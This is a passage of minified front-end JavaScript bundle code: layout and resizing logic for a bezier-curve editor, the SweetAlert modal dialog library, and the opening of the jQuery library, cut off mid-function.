            jQuery("#currentLibrary i").css("font-size", c + "px"), jQuery("#libraryIORow i").css("font-size", B + "px"), Log.trace("\u2190 Layout.adjustFontSizes")
        }

        function r(A, e) {
            return [{
                left: A[0] * e + "px",
                top: (1 - A[1]) * e + "px"
            }, {
                left: A[2] * e + "px",
                top: (1 - A[3]) * e + "px"
            }]
        }

        function o() {
            Log.trace("\u2192 Layout.resizeGraph");
            var e = Divider.getDividerPos(),
                t = jQuery("#graphPanel").height(),
                i = jQuery("#graphPanel").width(),
                o = e - 8;
            o = Util.clamp(o, 10, Math.min(t, i)), jQuery(".canvas-wrapper").css("width", o), jQuery(".canvas-wrapper").css("height", o), Log.trace("Layout.resizeGraph: Setting graph width to " + String(o)), jQuery(".graph").attr("width", o), jQuery(".graph").css("width", o);
            var n = (o - Globals.basePanelSizes.baseWidth) / 2;
            jQuery(".graph").css("top", Globals.basePanelSizes.baseTopOffset + n);
            var s = document.getElementById("curve");
            Globals.bezierCanvas = new BezierCanvas(s, Globals.bezier, 0), Globals.bezier.coordinates = Prefs.get("currentCoordinates");
            var a = document.getElementById("lastCurve");
            Globals.lastBezierCanvas = new BezierCanvas(a, new CubicBezier(Globals.lastBezierCanvas.bezier.coordinates), 0), A(o);
            var I = r(Globals.bezier.coordinates, o);
            Globals.P1.style.prop(I[0]), Globals.P2.style.prop(I[1]), GraphInteraction.updateGraph(), GraphInteraction.updateLastGraph(Globals.lastBezierCanvas.bezier.coordinates), Log.trace("\u2190 Layout.resizeGraph")
        }

        function n(A) {
            Log.trace("\u2192 Layout.updateLayout: " + A);
            var r = jQuery(r),
                n = jQuery("#app"),
                s = Math.max(r.height(), n.height()),
                a = Math.max(r.width(), n.width()),
                I = jQuery("#graphPanel"),
                l = jQuery("#graphPanel-bottom"),
                c = jQuery("#libraryPanel"),
                B = jQuery("#libContainer"),
                g = jQuery("#libraryNav");
            Util.isNullOrUndefined(A) || isNaN(A) ? A = Divider.getDividerPos() : Divider.setDividerPos(A);
            var h = A - 8;
            h < 0 && (h = 0);
            var E = 0,
                u = 0,
                Q = 0,
                d = 0;
            e() ? (I.css("height", ""), c.css("height", ""), c.css("left", ""), jQuery("#divider")[0].style.removeProperty("width"), jQuery("#divider")[0].style.setProperty("width", "inherit", "important"), E = a - 8, u = h - 82 - 4, u > 0 && I.css("height", u), E > 0 && (I.css("width", E), l.css("width", E)), l.css("bottom", s - A + 4), c.css("top", A + 8 + 2), Q = s - A - 20, Q > 0 && c.css("height", Q), d = a - 8 - g.width() - parseInt(g.css("marginRight")), d > 0 ? B.css("width", d) : B.css("width", "")) : (jQuery("#divider")[0].style.removeProperty("width"), jQuery("#divider")[0].style.setProperty("width", "10px", "important"), I.css("width", h), l.css("bottom", ""), c.css("top", ""), I.css("height", "calc(100vh - 82px)"), l.css("width", h), c.css("left", A + 8 + 2), c.css("height", "calc(100vh - 8px)"), d = a - A - 10 - 8 - parseInt(g.css("marginRight")) - parseInt(B.css("marginLeft")), c.height() < Globals.dragTriggers.portraitLibrary && (d -= g.width()), d > 0 && B.css("width", d)), o(), t(), i(), Log.trace("\u2190 Layout.updateLayout: " + A)
        }

        function s() {
            Log.trace("\u2192 Layout.checkResized");
            var A = !1,
                r = e();
            if (r !== Prefs.get("isPortrait") && (A = !0, jQuery("#graphPanel-bottom").css("bottom", ""), Layout.updateLayoutName(), Prefs.set("isPortrait", r)), Globals.firstRun) {
                Log.trace("Layout.checkResized: First Run");
                var o = jQuery(".graph").width();
                r && (o += jQuery("#graphPanel-bottom").height() + 4), n(o), Layout.updateLayoutName()
            }
            if (Divider.affixDivider(), t(), i(), A) return Log.trace("Layout.checkResized: State changed"), r ? (Log.trace("Layout.checkResized: Portrait"), jQuery("#libraryPanel").css("height", ""), Prefs.get("graphHidden") ? (Log.trace("Layout.checkResized: Graph hidden"), jQuery("#graphPanel").css("height", ""), jQuery("#divider").css("top", "0px"), n()) : a()) : (Log.trace("Layout.checkResized: Landscape"), jQuery("#libraryPanel").css("width", ""), jQuery("#libraryPanel").css("left", ""), Prefs.get("graphHidden") ? (Log.trace("Layout.checkResized: Graph hidden"), jQuery("#graphPanel").css("width", ""), jQuery("#divider").css("left", "0px"), n()) : a()), A = !1, void Log.trace("\u2190 Layout.checkResized");
            Globals.firstRun || n(), Log.trace("\u2190 Layout.checkResized")
        }

        function a() {
            Log.trace("\u2192 Layout.resetPanelSizes"), n(Prefs.get("isPortrait") ? Globals.basePanelSizes.portraitDividerPosition : Globals.basePanelSizes.landscapeDividerPosition), s(), Log.trace("\u2190 Layout.resetPanelSizes")
        }

        function I() {
            Log.trace("\u2192 Layout.updateLayoutName"), Prefs.get("isPortrait") ? Globals.currentLayoutName = "portrait" : Globals.currentLayoutName = "landscape", Prefs.get("graphHidden") && (Globals.currentLayoutName += "-libraryOnly"), Log.trace("\u2190 Layout.updateLayoutName")
        }
        return {
            updateLayout: n,
            checkResized: s,
            resetPanelSizes: a,
            updateLayoutName: I
        }
    }();
! function(A, e, t) {
    "use strict";
    ! function A(e, t, i) {
        function r(n, s) {
            if (!t[n]) {
                if (!e[n]) {
                    var a = "function" == typeof require && require;
                    if (!s && a) return a(n, !0);
                    if (o) return o(n, !0);
                    var I = new Error("Cannot find module '" + n + "'");
                    throw I.code = "MODULE_NOT_FOUND", I
                }
                var l = t[n] = {
                    exports: {}
                };
                e[n][0].call(l.exports, function(A) {
                    var t = e[n][1][A];
                    return r(t || A)
                }, l, l.exports, A, e, t, i)
            }
            return t[n].exports
        }
        for (var o = "function" == typeof require && require, n = 0; n < i.length; n++) r(i[n]);
        return r
    }({
        1: [function(i, r, o) {
            var n = function(A) {
                return A && A.__esModule ? A : {
                    default: A
                }
            };
            Object.defineProperty(o, "__esModule", {
                value: !0
            });
            var s, a, I, l, c = i("./modules/handle-dom"),
                B = i("./modules/utils"),
                g = i("./modules/handle-swal-dom"),
                h = i("./modules/handle-click"),
                E = i("./modules/handle-key"),
                u = n(E),
                Q = i("./modules/default-params"),
                d = n(Q),
                f = i("./modules/set-params"),
                S = n(f);
            o.default = I = l = function() {
                function i(A) {
                    var e = r;
                    return e[A] === t ? d.default[A] : e[A]
                }
                var r = arguments[0];
                if (c.addClass(e.body, "stop-scrolling"), g.resetInput(), r === t) return B.logStr("SweetAlert expects at least 1 attribute!"), !1;
                var o = B.extend({}, d.default);
                switch (typeof r) {
                    case "string":
                        o.title = r, o.text = arguments[1] || "", o.type = arguments[2] || "";
                        break;
                    case "object":
                        if (r.title === t) return B.logStr('Missing "title" argument!'), !1;
                        o.title = r.title;
                        for (var n in d.default) o[n] = i(n);
                        o.confirmButtonText = o.showCancelButton ? "Confirm" : d.default.confirmButtonText, o.confirmButtonText = i("confirmButtonText"), o.doneFunction = arguments[1] || null;
                        break;
                    default:
                        return B.logStr('Unexpected type of argument! Expected "string" or "object", got ' + typeof r), !1
                }
                S.default(o), g.fixVerticalPosition(), g.openModal(arguments[1]);
                for (var I = g.getModal(), E = I.querySelectorAll("button"), Q = ["onclick", "onmouseover", "onmouseout", "onmousedown", "onmouseup", "onfocus"], f = function(A) {
                        return h.handleButton(A, o, I)
                    }, w = 0; w < E.length; w++)
                    for (var p = 0; p < Q.length; p++) {
                        var C = Q[p];
                        E[w][C] = f
                    }
                g.getOverlay().onclick = f, s = A.onkeydown;
                var D = function(A) {
                    return u.default(A, o, I)
                };
                A.onkeydown = D, A.onfocus = function() {
                    setTimeout(function() {
                        a !== t && (a.focus(), a = t)
                    }, 0)
                }, l.enableButtons()
            }, I.setDefaults = l.setDefaults = function(A) {
                if (!A) throw new Error("userParams is required");
                if ("object" != typeof A) throw new Error("userParams has to be a object");
                B.extend(d.default, A)
            }, I.close = l.close = function() {
                var i = g.getModal();
                c.fadeOut(g.getOverlay(), 5), c.fadeOut(i, 5), c.removeClass(i, "showSweetAlert"), c.addClass(i, "hideSweetAlert"), c.removeClass(i, "visible");
                var r = i.querySelector(".sa-icon.sa-success");
                c.removeClass(r, "animate"), c.removeClass(r.querySelector(".sa-tip"), "animateSuccessTip"), c.removeClass(r.querySelector(".sa-long"), "animateSuccessLong");
                var o = i.querySelector(".sa-icon.sa-error");
                c.removeClass(o, "animateErrorIcon"), c.removeClass(o.querySelector(".sa-x-mark"), "animateXMark");
                var n = i.querySelector(".sa-icon.sa-warning");
                return c.removeClass(n, "pulseWarning"), c.removeClass(n.querySelector(".sa-body"), "pulseWarningIns"), c.removeClass(n.querySelector(".sa-dot"), "pulseWarningIns"), setTimeout(function() {
                    var A = i.getAttribute("data-custom-class");
                    c.removeClass(i, A)
                }, 300), c.removeClass(e.body, "stop-scrolling"), A.onkeydown = s, A.previousActiveElement && A.previousActiveElement.focus(), a = t, clearTimeout(i.timeout), !0
            }, I.showInputError = l.showInputError = function(A) {
                var e = g.getModal(),
                    t = e.querySelector(".sa-input-error");
                c.addClass(t, "show");
                var i = e.querySelector(".sa-error-container");
                c.addClass(i, "show"), i.querySelector("p").innerHTML = A, setTimeout(function() {
                    I.enableButtons()
                }, 1), e.querySelector("input").focus()
            }, I.resetInputError = l.resetInputError = function(A) {
                if (A && 13 === A.keyCode) return !1;
                var e = g.getModal(),
                    t = e.querySelector(".sa-input-error");
                c.removeClass(t, "show");
                var i = e.querySelector(".sa-error-container");
                c.removeClass(i, "show")
            }, I.disableButtons = l.disableButtons = function() {
                var A = g.getModal(),
                    e = A.querySelector("button.confirm"),
                    t = A.querySelector("button.cancel");
                e.disabled = !0, t.disabled = !0
            }, I.enableButtons = l.enableButtons = function() {
                var A = g.getModal(),
                    e = A.querySelector("button.confirm"),
                    t = A.querySelector("button.cancel");
                e.disabled = !1, t.disabled = !1
            }, void 0 !== A ? A.sweetAlert = A.swal = I : B.logStr("SweetAlert is a frontend module!"), r.exports = o.default
        }, {
            "./modules/default-params": 2,
            "./modules/handle-click": 3,
            "./modules/handle-dom": 4,
            "./modules/handle-key": 5,
            "./modules/handle-swal-dom": 6,
            "./modules/set-params": 8,
            "./modules/utils": 9
        }],
        2: [function(A, e, t) {
            Object.defineProperty(t, "__esModule", {
                value: !0
            });
            var i = {
                title: "",
                text: "",
                type: null,
                allowOutsideClick: !1,
                showConfirmButton: !0,
                showCancelButton: !1,
                closeOnConfirm: !0,
                closeOnCancel: !0,
                confirmButtonText: "OK",
                confirmButtonColor: "#126898",
                cancelButtonText: "Cancel",
                imageUrl: null,
                imageSize: null,
                timer: null,
                customClass: "",
                html: !1,
                animation: !0,
                allowEscapeKey: !0,
                inputType: "text",
                inputPlaceholder: "",
                inputValue: "",
                showLoaderOnConfirm: !1
            };
            t.default = i, e.exports = t.default
        }, {}],
        3: [function(e, t, i) {
            Object.defineProperty(i, "__esModule", {
                value: !0
            });
            var r = e("./utils"),
                o = (e("./handle-swal-dom"), e("./handle-dom")),
                n = function(e, t, i) {
                    function n(A) {
                        h && t.confirmButtonColor && (g.style.backgroundColor = A)
                    }
                    var I, l, c, B = e || A.event,
                        g = B.target || B.srcElement,
                        h = -1 !== g.className.indexOf("confirm"),
                        E = -1 !== g.className.indexOf("sweet-overlay"),
                        u = o.hasClass(i, "visible"),
                        Q = t.doneFunction && "true" === i.getAttribute("data-has-done-function");
                    switch (h && t.confirmButtonColor && (I = t.confirmButtonColor, l = r.colorLuminance(I, -.04), c = r.colorLuminance(I, -.14)), B.type) {
                        case "mouseover":
                            n(l);
                            break;
                        case "mouseout":
                            n(I);
                            break;
                        case "mousedown":
                            n(c);
                            break;
                        case "mouseup":
                            n(l);
                            break;
                        case "focus":
                            var d = i.querySelector("button.confirm"),
                                f = i.querySelector("button.cancel");
                            h ? f.style.boxShadow = "none" : d.style.boxShadow = "none";
                            break;
                        case "click":
                            var S = i === g,
                                w = o.isDescendant(i, g);
                            if (!S && !w && u && !t.allowOutsideClick) break;
                            h && Q && u ? s(i, t) : Q && u || E ? a(i, t) : o.isDescendant(i, g) && "BUTTON" === g.tagName && sweetAlert.close()
                    }
                },
                s = function(A, e) {
                    var t = !0;
                    o.hasClass(A, "show-input") && ((t = A.querySelector("input").value) || (t = "")), e.doneFunction(t), e.closeOnConfirm && sweetAlert.close(), e.showLoaderOnConfirm && sweetAlert.disableButtons()
                },
                a = function(A, e) {
                    var t = String(e.doneFunction).replace(/\s/g, "");
                    "function(" === t.substring(0, 9) && ")" !== t.substring(9, 10) && e.doneFunction(!1), e.closeOnCancel && sweetAlert.close()
                };
            i.default = {
                handleButton: n,
                handleConfirm: s,
                handleCancel: a
            }, t.exports = i.default
        }, {
            "./handle-dom": 4,
            "./handle-swal-dom": 6,
            "./utils": 9
        }],
        4: [function(t, i, r) {
            Object.defineProperty(r, "__esModule", {
                value: !0
            });
            var o = function(A, e) {
                    return new RegExp(" " + e + " ").test(" " + A.className + " ")
                },
                n = function(A, e) {
                    o(A, e) || (A.className += " " + e)
                },
                s = function(A, e) {
                    var t = " " + A.className.replace(/[\t\r\n]/g, " ") + " ";
                    if (o(A, e)) {
                        for (; t.indexOf(" " + e + " ") >= 0;) t = t.replace(" " + e + " ", " ");
                        A.className = t.replace(/^\s+|\s+$/g, "")
                    }
                },
                a = function(A) {
                    var t = e.createElement("div");
                    return t.appendChild(e.createTextNode(A)), t.innerHTML
                },
                I = function(A) {
                    A.style.opacity = "", A.style.display = "block"
                },
                l = function(A) {
                    if (A && !A.length) return I(A);
                    for (var e = 0; e < A.length; ++e) I(A[e])
                },
                c = function(A) {
                    A.style.opacity = "", A.style.display = "none"
                },
                B = function(A) {
                    if (A && !A.length) return c(A);
                    for (var e = 0; e < A.length; ++e) c(A[e])
                },
                g = function(A, e) {
                    for (var t = e.parentNode; null !== t;) {
                        if (t === A) return !0;
                        t = t.parentNode
                    }
                    return !1
                },
                h = function(A) {
                    A.style.left = "-9999px", A.style.display = "block";
                    var e, t = A.clientHeight;
                    return e = "undefined" != typeof getComputedStyle ? parseInt(getComputedStyle(A).getPropertyValue("padding-top"), 10) : parseInt(A.currentStyle.padding), A.style.left = "", A.style.display = "none", "-" + parseInt((t + e) / 2) + "px"
                },
                E = function(A, e) {
                    if (+A.style.opacity < 1) {
                        e = e || 16, A.style.opacity = 0, A.style.display = "block";
                        var t = +new Date,
                            i = function(A) {
                                function e() {
                                    return A.apply(this, arguments)
                                }
                                return e.toString = function() {
                                    return A.toString()
                                }, e
                            }(function() {
                                A.style.opacity = +A.style.opacity + (new Date - t) / 100, t = +new Date, +A.style.opacity < 1 && setTimeout(i, e)
                            });
                        i()
                    }
                    A.style.display = "block"
                },
                u = function(A, e) {
                    e = e || 16, A.style.opacity = 1;
                    var t = +new Date,
                        i = function(A) {
                            function e() {
                                return A.apply(this, arguments)
                            }
                            return e.toString = function() {
                                return A.toString()
                            }, e
                        }(function() {
                            A.style.opacity = +A.style.opacity - (new Date - t) / 100, t = +new Date, +A.style.opacity > 0 ? setTimeout(i, e) : A.style.display = "none"
                        });
                    i()
                },
                Q = function(t) {
                    if ("function" == typeof MouseEvent) {
                        var i = new MouseEvent("click", {
                            view: A,
                            bubbles: !1,
                            cancelable: !0
                        });
                        t.dispatchEvent(i)
                    } else if (e.createEvent) {
                        var r = e.createEvent("MouseEvents");
                        r.initEvent("click", !1, !1), t.dispatchEvent(r)
                    } else e.createEventObject ? t.fireEvent("onclick") : "function" == typeof t.onclick && t.onclick()
                },
                d = function(e) {
                    "function" == typeof e.stopPropagation ? (e.stopPropagation(), e.preventDefault()) : A.event && A.event.hasOwnProperty("cancelBubble") && (A.event.cancelBubble = !0)
                };
            r.hasClass = o, r.addClass = n, r.removeClass = s, r.escapeHtml = a, r._show = I, r.show = l, r._hide = c, r.hide = B, r.isDescendant = g, r.getTopMargin = h, r.fadeIn = E, r.fadeOut = u, r.fireClick = Q, r.stopEventPropagation = d
        }, {}],
        5: [function(e, i, r) {
            Object.defineProperty(r, "__esModule", {
                value: !0
            });
            var o = e("./handle-dom"),
                n = e("./handle-swal-dom"),
                s = function(e, i, r) {
                    var s = e || A.event,
                        a = s.keyCode || s.which,
                        I = r.querySelector("button.confirm"),
                        l = r.querySelector("button.cancel"),
                        c = r.querySelectorAll("button[tabindex]");
                    if (-1 !== [9, 13, 32, 27].indexOf(a)) {
                        for (var B = s.target || s.srcElement, g = -1, h = 0; h < c.length; h++)
                            if (B === c[h]) {
                                g = h;
                                break
                            }
                        9 === a ? (B = -1 === g ? I : g === c.length - 1 ? c[0] : c[g + 1], o.stopEventPropagation(s), B.focus(), i.confirmButtonColor && n.setFocusStyle(B, i.confirmButtonColor)) : 13 === a ? ("INPUT" === B.tagName && (B = I, I.focus()), B = -1 === g ? I : t) : 27 === a && !0 === i.allowEscapeKey ? (B = l, o.fireClick(B, s)) : B = t
                    }
                };
            r.default = s, i.exports = r.default
        }, {
            "./handle-dom": 4,
            "./handle-swal-dom": 6
        }],
        6: [function(t, i, r) {
            var o = function(A) {
                return A && A.__esModule ? A : {
                    default: A
                }
            };
            Object.defineProperty(r, "__esModule", {
                value: !0
            });
            var n = t("./utils"),
                s = t("./handle-dom"),
                a = t("./default-params"),
                I = o(a),
                l = t("./injected-html"),
                c = o(l),
                B = function() {
                    var A = e.createElement("div");
                    for (A.innerHTML = c.default; A.firstChild;) e.body.appendChild(A.firstChild)
                },
                g = function(A) {
                    function e() {
                        return A.apply(this, arguments)
                    }
                    return e.toString = function() {
                        return A.toString()
                    }, e
                }(function() {
                    var A = e.querySelector(".sweet-alert");
                    return A || (B(), A = g()), A
                }),
                h = function() {
                    var A = g();
                    return A ? A.querySelector("input") : void 0
                },
                E = function() {
                    return e.querySelector(".sweet-overlay")
                },
                u = function(A, e) {
                    var t = n.hexToRgb(e);
                    A.style.boxShadow = "0 0 2px rgba(" + t + ", 0.8), inset 0 0 0 1px rgba(0, 0, 0, 0.05)"
                },
                Q = function(t) {
                    var i = g();
                    s.fadeIn(E(), 10), s.show(i), s.addClass(i, "showSweetAlert"), s.removeClass(i, "hideSweetAlert"), A.previousActiveElement = e.activeElement, i.querySelector("button.confirm").focus(), setTimeout(function() {
                        s.addClass(i, "visible")
                    }, 500);
                    var r = i.getAttribute("data-timer");
                    if ("null" !== r && "" !== r) {
                        var o = t;
                        i.timeout = setTimeout(function() {
                            (o || null) && "true" === i.getAttribute("data-has-done-function") ? o(null) : sweetAlert.close()
                        }, r)
                    }
                },
                d = function() {
                    var A = g(),
                        e = h();
                    s.removeClass(A, "show-input"), e.value = I.default.inputValue, e.setAttribute("type", I.default.inputType), e.setAttribute("placeholder", I.default.inputPlaceholder), f()
                },
                f = function(A) {
                    if (A && 13 === A.keyCode) return !1;
                    var e = g(),
                        t = e.querySelector(".sa-input-error");
                    s.removeClass(t, "show");
                    var i = e.querySelector(".sa-error-container");
                    s.removeClass(i, "show")
                },
                S = function() {
                    g().style.marginTop = s.getTopMargin(g())
                };
            r.sweetAlertInitialize = B, r.getModal = g, r.getOverlay = E, r.getInput = h, r.setFocusStyle = u, r.openModal = Q, r.resetInput = d, r.resetInputError = f, r.fixVerticalPosition = S
        }, {
            "./default-params": 2,
            "./handle-dom": 4,
            "./injected-html": 7,
            "./utils": 9
        }],
        7: [function(A, e, t) {
            Object.defineProperty(t, "__esModule", {
                value: !0
            });
            t.default = '<div class="sweet-overlay" tabIndex="-1"></div><div class="sweet-alert"><div class="sa-icon sa-error">\n      <span class="sa-x-mark">\n        <span class="sa-line sa-left"></span>\n        <span class="sa-line sa-right"></span>\n      </span>\n    </div><div class="sa-icon sa-warning">\n      <span class="sa-body"></span>\n      <span class="sa-dot"></span>\n    </div><div class="sa-icon sa-info"></div><div class="sa-icon sa-success">\n      <span class="sa-line sa-tip"></span>\n      <span class="sa-line sa-long"></span>\n\n      <div class="sa-placeholder"></div>\n      <div class="sa-fix"></div>\n    </div><div class="sa-icon sa-custom"></div><h2>Title</h2>\n    <p>Text</p>\n    <fieldset>\n      <input type="text" tabIndex="3" />\n      <div class="sa-input-error"></div>\n    </fieldset><div class="sa-error-container">\n      <div class="icon">!</div>\n      <p>Not valid!</p>\n    </div><div class="sa-button-container">\n      <button class="cancel" tabIndex="2">Cancel</button>\n      <div class="sa-confirm-button-container">\n        <button class="confirm" tabIndex="1">OK</button><div class="la-ball-fall">\n          <div></div>\n          <div></div>\n          <div></div>\n        </div>\n      </div>\n    </div></div>', e.exports = t.default
        }, {}],
        8: [function(A, e, i) {
            Object.defineProperty(i, "__esModule", {
                value: !0
            });
            var r = A("./utils"),
                o = A("./handle-swal-dom"),
                n = A("./handle-dom"),
                s = ["error", "warning", "info", "success", "input", "prompt"],
                a = function(A) {
                    var e = o.getModal(),
                        i = e.querySelector("h2"),
                        a = e.querySelector("p"),
                        I = e.querySelector("button.cancel"),
                        l = e.querySelector("button.confirm");
                    if (i.innerHTML = A.html ? A.title : n.escapeHtml(A.title).split("\n").join("<br>"), a.innerHTML = A.html ? A.text : n.escapeHtml(A.text || "").split("\n").join("<br>"), A.text && n.show(a), A.customClass) n.addClass(e, A.customClass), e.setAttribute("data-custom-class", A.customClass);
                    else {
                        var c = e.getAttribute("data-custom-class");
                        n.removeClass(e, c), e.setAttribute("data-custom-class", "")
                    }
                    if (n.hide(e.querySelectorAll(".sa-icon")), A.type && !r.isIE8()) {
                        var B = function() {
                            for (var i = !1, r = 0; r < s.length; r++)
                                if (A.type === s[r]) {
                                    i = !0;
                                    break
                                }
                            if (!i) return logStr("Unknown alert type: " + A.type), {
                                v: !1
                            };
                            var a = ["success", "error", "warning", "info"],
                                I = t; - 1 !== a.indexOf(A.type) && (I = e.querySelector(".sa-icon.sa-" + A.type), n.show(I));
                            var l = o.getInput();
                            switch (A.type) {
                                case "success":
                                    n.addClass(I, "animate"), n.addClass(I.querySelector(".sa-tip"), "animateSuccessTip"), n.addClass(I.querySelector(".sa-long"), "animateSuccessLong");
                                    break;
                                case "error":
                                    n.addClass(I, "animateErrorIcon"), n.addClass(I.querySelector(".sa-x-mark"), "animateXMark");
                                    break;
                                case "warning":
                                    n.addClass(I, "pulseWarning"), n.addClass(I.querySelector(".sa-body"), "pulseWarningIns"), n.addClass(I.querySelector(".sa-dot"), "pulseWarningIns");
                                    break;
                                case "input":
                                case "prompt":
                                    l.setAttribute("type", A.inputType), l.value = A.inputValue, l.setAttribute("placeholder", A.inputPlaceholder), n.addClass(e, "show-input"), setTimeout(function() {
                                        l.focus(), l.select(), l.addEventListener("keyup", swal.resetInputError)
                                    }, 400)
                            }
                        }();
                        if ("object" == typeof B) return B.v
                    }
                    if (A.imageUrl) {
                        var g = e.querySelector(".sa-icon.sa-custom");
                        g.style.backgroundImage = "url(" + A.imageUrl + ")", n.show(g);
                        var h = 80,
                            E = 80;
                        if (A.imageSize) {
                            var u = A.imageSize.toString().split("x"),
                                Q = u[0],
                                d = u[1];
                            Q && d ? (h = Q, E = d) : logStr("Parameter imageSize expects value with format WIDTHxHEIGHT, got " + A.imageSize)
                        }
                        g.setAttribute("style", g.getAttribute("style") + "width:" + h + "px; height:" + E + "px")
                    }
                    e.setAttribute("data-has-cancel-button", A.showCancelButton), A.showCancelButton ? I.style.display = "inline-block" : n.hide(I), e.setAttribute("data-has-confirm-button", A.showConfirmButton), A.showConfirmButton ? l.style.display = "inline-block" : n.hide(l), A.cancelButtonText && (I.innerHTML = n.escapeHtml(A.cancelButtonText)), A.confirmButtonText && (l.innerHTML = n.escapeHtml(A.confirmButtonText)), A.confirmButtonColor && (l.style.backgroundColor = A.confirmButtonColor, l.style.borderLeftColor = A.confirmLoadingButtonColor, l.style.borderRightColor = A.confirmLoadingButtonColor, o.setFocusStyle(l, A.confirmButtonColor)), e.setAttribute("data-allow-outside-click", A.allowOutsideClick);
                    var f = !!A.doneFunction;
                    e.setAttribute("data-has-done-function", f), A.animation ? "string" == typeof A.animation ? e.setAttribute("data-animation", A.animation) : e.setAttribute("data-animation", "pop") : e.setAttribute("data-animation", "none"), e.setAttribute("data-timer", A.timer)
                };
            i.default = a, e.exports = i.default
        }, {
            "./handle-dom": 4,
            "./handle-swal-dom": 6,
            "./utils": 9
        }],
        9: [function(e, t, i) {
            Object.defineProperty(i, "__esModule", {
                value: !0
            });
            var r = function(A, e) {
                    for (var t in e) e.hasOwnProperty(t) && (A[t] = e[t]);
                    return A
                },
                o = function(A) {
                    var e = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(A);
                    return e ? parseInt(e[1], 16) + ", " + parseInt(e[2], 16) + ", " + parseInt(e[3], 16) : null
                },
                n = function() {
                    return A.attachEvent && !A.addEventListener
                },
                s = function(e) {
                    A.console && A.console.log("SweetAlert: " + e)
                },
                a = function(A, e) {
                    A = String(A).replace(/[^0-9a-f]/gi, ""), A.length < 6 && (A = A[0] + A[0] + A[1] + A[1] + A[2] + A[2]), e = e || 0;
                    var t, i, r = "#";
                    for (i = 0; 3 > i; i++) t = parseInt(A.substr(2 * i, 2), 16), t = Math.round(Math.min(Math.max(0, t + t * e), 255)).toString(16), r += ("00" + t).substr(t.length);
                    return r
                };
            i.extend = r, i.hexToRgb = o, i.isIE8 = n, i.logStr = s, i.colorLuminance = a
        }, {}]
    }, {}, [1]), "function" == typeof define && define.amd ? define(function() {
        return sweetAlert
    }) : "undefined" != typeof module && module.exports && (module.exports = sweetAlert)
}(window, document),
function(A, e) {
    "object" == typeof module && "object" == typeof module.exports ? module.exports = A.document ? e(A, !0) : function(A) {
        if (!A.document) throw new Error("jQuery requires a window with a document");
        return e(A)
    } : e(A)
}("undefined" != typeof window ? window : this, function(A, e) {
    function t(A) {
        var e = !!A && "length" in A && A.length,
            t = oA.type(A);
        return "function" !== t && !oA.isWindow(A) && ("array" === t || 0 === e || "number" == typeof e && e > 0 && e - 1 in A)
    }

    function i(A, e, t) {
        if (oA.isFunction(e)) return oA.grep(A, function(A, i) {
            return !!e.call(A, i, A) !== t
        });
        if (e.nodeType) return oA.grep(A, function(A) {
            return A === e !== t
        });
        if ("string" == typeof e) {
            if (EA.test(e)) return oA.filter(e, A, t);
            e = oA.filter(e, A)
        }
        return oA.grep(A, function(A) {
            return $.call(e, A) > -1 !== t
        })
    }

    function r(A, e) {
        for (;
            (A = A[e]) && 1 !== A.nodeType;);
        return A
    }

    function o(A) {
        var e = {};
        return oA.each(A.match(SA) || [], function(A, t) {
            e[t] = !0
        }), e
    }

    function n() {
        W.removeEventListener("DOMContentLoaded", n), A.removeEventListener("load", n), oA.ready()
    }

    function s() {
        this.expando = oA.expando + s.uid++
    }

    function a(A, e, t) {
        var i;
        if (void 0 === t && 1 === A.nodeType)
            if (i = "data-" + e.replace(MA, "-$&").toLowerCase(), "string" == typeof(t = A.getAttribute(i))) {
                try {
                    t = "true" === t || "false" !== t && ("null" === t ? null : +t + "" === t ? +t : mA.test(t) ? oA.parseJSON(t) : t)
                } catch (A) {}
                vA.set(A, e, t)
            } else t = void 0;
        return t
    }

    function I(A, e, t, i) {
        var r, o = 1,
            n = 20,
            s = i ? function() {
                return i.cur()
            } : function() {
                return oA.css(A, e, "")
            },
            a = s(),
            I = t && t[3] || (oA.cssNumber[e] ? "" : "px"),
            l = (oA.cssNumber[e] || "px" !== I && +a) && yA.exec(oA.css(A, e));
        if (l && l[3] !== I) {
            I = I || l[3], t = t || [], l = +a || 1;
            do {
                o = o || ".5", l /= o, oA.style(A, e, l + I)
            } while (o !== (o = s() / a) && 1 !== o && --n)
        }
        return t && (l = +l || +a || 0, r = t[1] ? l + (t[1] + 1) * t[2] : +t[2], i && (i.unit = I, i.start = l, i.end = r)), r
    }

    function l(A, e) {
        var t = void 0 !== A.getElementsByTagName ? A.getElementsByTagName(e || "*") : void 0 !== A.querySelectorAll ? A.querySelectorAll(e || "*") : [];
        return void 0 === e || e && oA.nodeName(A, e) ? oA.merge([A], t) : t
    }

    function c(A, e) {
        for (var t = 0, i = A.length; i > t; t++) DA.set(A[t], "globalEval", !e || DA.get(e[t], "globalEval"))
    }

    function B(A, e, t, i, r) {
        for (var o, n, s, a, I, B, g = e.createDocumentFragment(), h = [], E = 0, u = A.length; u > E; E++)
            if ((o = A[E]) || 0 === o)
                if ("object" === oA.type(o)) oA.merge(h, o.nodeType ? [o] : o);
                else if (UA.test(o)) {
            for (n = n || g.appendChild(e.createElement("div")), s = (JA.exec(o) || ["", ""])[1].toLowerCase(), a = NA[s] || NA._default, n.innerHTML = a[1] + oA.htmlPrefilter(o) + a[2], B = a[0]; B--;) n = n.lastChild;
            oA.merge(h, n.childNodes), n = g.firstChild, n.textContent = ""
        } else h.push(e.createTextNode(o));
        for (g.textContent = "", E = 0; o = h[E++];)
            if (i && oA.inArray(o, i) > -1) r && r.push(o);
            else if (I = oA.contains(o.ownerDocument, o), n = l(g.appendChild(o), "script"), I && c(n), t)
            for (B = 0; o = n[B++];) jA.test(o.type || "") && t.push(o);
        return g
    }

    function g() {
        return !0
    }

    function h() {
        return !1
    }

    function E() {
        try {
            return W.activeElement
        } catch (A) {}
    }

    function u(A, e, t, i, r, o) {
        var n, s;
        if ("object" == typeof e) {
            "string" != typeof t && (i = i || t, t = void 0);
            for (s in e) u(A, s, t, i, e[s], o);
            return A
        }
        if (null == i && null == r ? (r = t, i = t = void 0) : null == r && ("string" == typeof t ? (r = i, i = void 0) : (r = i, i = t, t = void 0)), !1 === r) r = h;
        else if (!r) return A;
        return 1 === o && (n = r, r = function(A) {
            return oA().off(A), n.apply(this, arguments)
        }, r.guid = n.guid || (n.guid = oA.guid++)), A.each(function() {
            oA.event.add(this, e, r, i, t)
        })
    }

    function Q(A, e) {
        return oA.nodeName(A, "table") && oA.nodeName(11 !== e.nodeType ? e : e.firstChild, "tr") ? A.getElementsByTagName("tbody")[0] || A.appendChild(A.ownerDocument.createElement("tbody")) : A
    }

    function d(A) {
        return A.type = (null !== A.getAttribute("type")) + "/" + A.type, A
    }

    function f(A) {
